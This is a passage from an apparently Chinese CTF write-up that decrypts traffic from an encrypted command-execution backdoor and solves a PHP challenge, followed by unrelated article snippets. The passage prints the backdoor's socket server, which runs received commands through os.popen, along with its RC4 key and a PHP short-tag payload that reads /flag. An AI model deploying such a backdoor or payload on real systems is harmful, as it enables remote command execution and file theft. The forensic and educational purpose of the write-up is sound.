    return res if res else "NoneResult"


def main():
    ip = '192.168.31.42'
    port = 8899
    socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    socket_server.bind((ip, port))
    socket_server.listen(1)
    while True:
        conn, addr = socket_server.accept()
        with conn:
            print("connect::", addr)
            try:
                while True:
                    data = conn.recv(102400)
                    # print("server recevie peername and data:", conn.getpeername(), data.decode())
                    if data:
                        data = data.decode()
                        data = decrypt(data, key)
                        data = json.loads(data)
                        if data["opcode"] == "shell":
                            print("shellCMD::", data["msg"])
                            res = system(data["msg"])
                            print("res::", res)
                            conn.sendall(encrypt(res, key).encode())
                    else:
                        break
            except ConnectionResetError as e:
                print("远程连接断开")


if __name__ == '__main__':
    main()

通信端口和通信IP都有了,直接过滤即可,根据提示使用这个Epoch Time作为解密时的时间戳。
但是这个后面在tcp.stream eq 58发现又传了一遍这个脚本,这有点可疑。

image.png
和之前的对比发现修改了端口
image.png

ip.src==192.168.31.42 and tcp.srcport==9999 and data

image.png
直接修改脚本进行解密,把时间戳填进去

import socket
from Crypto.Cipher import ARC4
import base64
import os
import json
import hashlib


def calculate_md5(string):
    md5_hash = hashlib.md5()
    md5_hash.update(string.encode('utf-8'))
    md5_hex = md5_hash.hexdigest()
    return md5_hex


from Crypto.Cipher import ARC4
import base64
import json

# with open("./s3creT.txt", "r") as f:
#     key = f.read()
key = "R@ns0mwar3_V1ru5"
key = calculate_md5(key)


def rc4_encrypt(data, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.encrypt(data.encode('utf-8'))
    res = base64.b64encode(res)
    res = str(res, 'utf-8')
    return res


def rc4_decrypt(data, key1):
    data = base64.b64decode(data)
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(data)
    res = str(res, 'gbk', errors='ignore')
    return res


def t1(data, timestamp):
    import re
    from datetime import datetime, timedelta
    # current_time = datetime.now()
    current_time = datetime.fromtimestamp(timestamp)
    target_time = current_time.replace(second=0, microsecond=0)
    timestamp = int(target_time.timestamp())
    key1 = hex(timestamp)[2:].zfill(8)
    key1 = re.findall(r'.{2}', key1)
    key1 = [int(i, 16) for i in key1]
    data = list(data)
    for i in range(len(data)):
        data[i] = chr(ord(data[i]) ^ key1[i % 4])
    data = ''.join(data)
    return data


def decrypt(data, key, timestamp):
    data = t1(data, timestamp)
    data = rc4_decrypt(data, key)
    return data


def encrypt(data, key):
    data = rc4_encrypt(data, key)
    data = t1(data)

    return data


def system(cmd):
    res = os.popen(cmd).read()
    return res if res else "NoneResult"


def main():
    # ip = '192.168.31.42'
    # port = 8899
    # socket_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
    # socket_server.bind((ip, port))
    # socket_server.listen(1)
    # while True:
    #     conn, addr = socket_server.accept()
    #     with conn:
    #         print("connect::", addr)
    #         try:
    #             while True:
    #                 data = conn.recv(102400)
    #                 # print("server recevie peername and data:", conn.getpeername(), data.decode())
    #                 if data:
    #                     data = data.decode()
    #                     data = decrypt(data, key)
    #                     data = json.loads(data)
    #                     if data["opcode"] == "shell":
    #                         print("shellCMD::", data["msg"])
    #                         res = system(data["msg"])
    #                         print("res::", res)
    #                         conn.sendall(encrypt(res, key).encode())
    #                 else:
    #                     break
    #         except ConnectionResetError as e:
    #             print("猫驴聹莽篓聥猫驴聻忙聨楼忙聳颅氓录聙")

    data = "16c3b2c295c3be04c29cc29fc3a90cc39ec2a3c39937c391c3a7c3811cc38bc3a0c39b29c29ac2b1c3b830c3b2c286c3a13cc38ac296c38d13c3a2c29dc3920bc3bac2a8c2bb22c29bc287c3a328c3afc29cc3bd27c390c3a6c38110c381c2a5c381"
    timestamp = 1705562796.602401000
    data = bytes.fromhex(data)
    data = data.decode('utf-8')
    result = decrypt(data, key, timestamp)
    print(result)
    # data = json.loads(data)
    # if data["opcode"] == "shell":
    #     print("shellCMD::", data["msg"])
    #     res = system(data["msg"])
    #     print("res::", res)


if __name__ == '__main__':
    main()
    # 运行结果:flag{3741b40e-3185-4a9a-80a6-83403e4942fc}

Ezdede

直接这里传一个短标签:<?=readfile('/flag')?>
image.png
直接读flag
image.png

可信计算

难蚌

image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1404421.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++入门学习(十一)字符型

C中的字符型可以表示ASCII码中的所有字符&#xff0c;包括字母、数字、标点符号等。 ASCII码是一种用于编码字符的编码系统&#xff0c;它使用不同的数值来表示不同的字符。ASCII码使用7位或8位二进制数来表示每个字符&#xff0c;因此可以表示128或256个不同的字符。 在ASCI…

ubuntu使用docker compose一键部署项目

1、将前面手动部署的容器和镜像全部删除 docker rmi hmall (hmall镜像名) docker rmi image_id rmi 是删除多个 rm是删除一个 2、执行命令 docker compose up -d http://192.168.79.129:18080/search.html 访问安装成功&#xff01; 该ip是虚拟机ubuntu的ip 3、docker-compos…

【AI的未来 - AI Agent系列】【MetaGPT】6. 用ActionNode重写技术文档助手

文章目录 0. 前置推荐阅读1. 重写WriteDirectory Action1.1 实现WriteDirectory的ActionNode&#xff1a;DIRECTORY_WRITE1.2 将 DIRECTORY_WRITE 包进 WriteDirectory中 2. 重写WriteContent Action2.1 思考重写方案2.2 实现WriteContent的ActionNode2.3 改写WriteContent Act…

【Kafka】开发实战和Springboot集成kafka

目录 消息的发送与接收生产者消费者 SpringBoot 集成kafka服务端参数配置 消息的发送与接收 生产者 生产者主要的对象有&#xff1a; KafkaProducer &#xff0c; ProducerRecord 。 其中 KafkaProducer 是用于发送消息的类&#xff0c; ProducerRecord 类用于封装Kafka的消息…

机器学习_正则化、欠拟合和过拟合

文章目录 正则化欠拟合和过拟合正则化参数 正则化 机器学习中的正则化是在损失函数里面加惩罚项&#xff0c;增加建模的模糊性&#xff0c;从而把捕捉到的趋势从局部细微趋势&#xff0c;调整到整体大概趋势。虽然一定程度上地放宽了建模要求&#xff0c;但是能有效防止过拟合…

【GitHub项目推荐--一个语音机器人项目】【转载】

推荐一个腾讯大佬开源的语音对话机器人&#xff1a;wukong-robot &#xff0c;悟空机器人在 GitHub 上斩获 3.2K 的 Star。 这是一个简单灵活的中文语音对话机器人项目&#xff0c;目的是让中国的开发者也能快速打造个性化的智能音箱&#xff0c;同时&#xff0c;该项目还是第…

科技云报道:金融大模型落地,还需跨越几重山?

科技云报道原创。 时至今日&#xff0c;大模型的狂欢盛宴仍在持续&#xff0c;而金融行业得益于数据密集且有强劲的数字化基础&#xff0c;从一众场景中脱颖而出。 越来越多的公司开始布局金融行业大模型&#xff0c;无论是乐信、奇富科技、度小满、蚂蚁这样的金融科技公司&a…

【XR806开发板试用】系列之一 - Linux环境下Ubuntu完全开发流程

前言 为了让极术社区开发者体验搭载安谋科技STAR-MC1处理器的面向IoT领域的全志XR806开发板&#xff0c;极术社区联合全志在线开发者社区共同推出XR806开发板免费试用活动。 极术社区特准备了200块XR806开发板作为2022年社区新年活动&#xff0c;申请的人数有600多&#xff0c…

���恒峰|配网行波型故障预警定位装置:电力系统的守护神

&#xfffd;&#xfffd;&#xfffd;在电力系统中&#xff0c;设备的正常运行对于保障供电至关重要。而配网行波型故障预警定位装置就是电力系统的守护神&#xff0c;它能够实时监测设备状态&#xff0c;提前发现故障&#xff0c;确保电力供应的稳定。本文将详细介绍配网行波…

【前端可视化】postcss-px-to-viewport 适配怎么限制最大宽度?使用 postcss-mobile-forever

需求原因 自己用 nuxt3 写官网发现用 postcss-px-to-viewport 这个插件虽然能够实现基于 vw 的响应式&#xff0c;但是无法做到限制宽度&#xff0c;比如设计稿 1920p&#xff0c;我只想让最大缩放比例为 1920p&#xff0c;不能超过&#xff0c;就无法实现了。 方案参考 纯 c…

记一次低级且重大的Presto运维事故

本文纯属虚构&#xff0c;旨在提醒各位别犯类似低级错误。 如有雷同&#xff0c;说的就是你&#xff01; 文章目录 前言事件回顾后续总结 前言 首先&#xff0c;要重视运维工作和离职人员的交接工作&#xff0c;这个不必多说。一将无能&#xff0c;累死三军&#xff01; 接下来…

Xilinx MicroBlaze 告警提示解决方案

告警&#xff1a; [BD 41-2559] AXI interface port /M02_AXI_0 is not associated to any clock port. It may not work correctly. Please update ASSOCIATED_BUSIF parameter of a clock port to include this interface port in an external clock port. If no external cl…

Java 设计者模式以及与Spring关系(五) 策略和观察者模式

目录 简介: 23设计者模式以及重点模式 策略模式&#xff08;Strategy Pattern&#xff09; 示例 spring中应用 观察者模式&#xff08;Observer&#xff09; 示例 spring中应用 简介: 本文是个系列一次会出两个设计者模式作用&#xff0c;如果有关联就三个&#xff0c;…

一键去除图片背景——background-removal-js

一些JavaScript库和工具可以帮助实现背景去除&#xff1a; OpenCV.js&#xff1a;OpenCV的JavaScript版本&#xff0c;提供了许多计算机视觉功能&#xff0c;包括背景去除。Jimp&#xff1a;一个用于处理图像的JavaScript库&#xff0c;提供了许多图像处理功能&#xff0c;包括…

Vue.js 3 项目开发:迈向现代化前端开发的必经之路

文章目录 一、Vue.js 3简介二、Vue.js 3新特性1. Composition API2. 更好的性能3. 更好的TypeScript支持4. 更多的生命周期钩子5. 更好的自定义指令API 三、Vue.js 3项目开发实践1. 搭建开发环境2. 项目结构规划3. 组件开发4. 路由管理5. 状态管理6. 测试与部署 《Vue.js 3企业…

VSCode Python Windows环境下创建虚拟环境,隔离每个项目的依赖pip包,推荐使用!

VSCode Python Windows环境下创建虚拟环境 Visual Studio Code 可以隔离不同项目的pip依赖包&#xff0c;防止不同版本的干扰**&#xff08;推荐使用&#xff09;** 先在python官网https://www.python.org/downloads/下载需要的python版本&#xff08;我选择了3.9.8&#xff09…

基于springboot+vue新能源汽车充电管理系统

摘要 新能源汽车充电管理系统是基于Spring Boot和Vue.js技术栈构建的一款先进而高效的系统&#xff0c;旨在满足不断增长的新能源汽车市场对充电服务的需求。该系统通过整合前后端技术&#xff0c;实现了用户注册、充电桩管理、充电订单管理等核心功能&#xff0c;为用户提供便…

centos 7 增加临时路由及永久路由

centos 7 增加临时路由及永久路由 如果增加临时路由&#xff0c;要先安装net-tools , sudo yum install net-tools route add -net 10.1.0.0 gw 10.1.1.1 netmask 255.255.0.0 意思是增加了一条动态路由&#xff0c;网关10.1.1.1 ,10.1.x.x 的所有ip都走这个网关 此种方式&am…

Wireshark的捕获接口设置

通过Wireshark菜单栏的“捕获”-“选项”和工具栏的“捕获选项”按钮&#xff0c;可以进入接口捕获接口的设置。 打开捕获接口设置界面&#xff0c;首先设置“Input”标签。 进行接口选择&#xff0c;关掉不必要的接口。 选择使用接口模式&#xff0c;选择“混杂模式”&#x…

proxy 代理的接口报错301问题

项目系统里仅仅这个接口报错&#xff0c;反向代理错误导致。 默认情况下&#xff0c;不接受运行在HTTPS上&#xff0c;且使用了无效证书的后端服务器。如果你想要接受&#xff0c;修改配置&#xff1a;secure: false&#xff08;简单意思&#xff1a;如果本地没有进行过https相…